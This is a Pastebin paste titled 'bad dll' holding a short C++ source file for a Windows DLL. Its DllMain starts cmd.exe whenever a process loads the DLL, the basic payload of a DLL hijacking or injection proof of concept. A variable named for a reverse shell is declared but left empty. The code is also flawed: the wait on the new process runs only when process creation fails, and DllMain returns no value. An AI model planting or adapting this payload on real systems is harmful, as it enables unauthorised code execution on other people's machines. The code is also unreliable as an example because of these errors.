Coder666

bad dll

Oct 22nd, 2022
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.05 KB | Source Code | 0 0
  1. //
  2. // BadDLL.cpp -> BadDLL.DLL
  3. //
  4. #include "pch.h"
  5.  
  6. #include<stdio.h>
  7. #include <windows.h>
  8. #include <commctrl.h>
  9.  
  10. char recerseshell[] = "";
  11.  
  12. BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
  13. {
  14.     switch (dwReason)
  15.     {
  16.     case DLL_THREAD_ATTACH:
  17.         break;
  18.     case DLL_THREAD_DETACH:
  19.         break;
  20.     case DLL_PROCESS_DETACH:
  21.         break;
  22.     case DLL_PROCESS_ATTACH:        
  23.         STARTUPINFO si;
  24.         PROCESS_INFORMATION pi;
  25.  
  26.         ZeroMemory(&si, sizeof(si));
  27.         si.cb = sizeof(si);
  28.         ZeroMemory(&pi, sizeof(pi));
  29.  
  30.         if (!CreateProcess(
  31.             TEXT("C:\\Windows\\System32\\cmd.exe"),
  32.             NULL,
  33.             NULL,
  34.             NULL,
  35.             FALSE,
  36.             NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
  37.             NULL,
  38.             NULL,
  39.             &si,
  40.             &pi)
  41.             )
  42.         WaitForSingleObject(pi.hProcess, INFINITE);
  43.         CloseHandle(pi.hProcess);
  44.         CloseHandle(pi.hThread);
  45.         break;
  46.  
  47.     }
  48.  
  49. }
Advertisement
Add Comment
Please, Sign In to add comment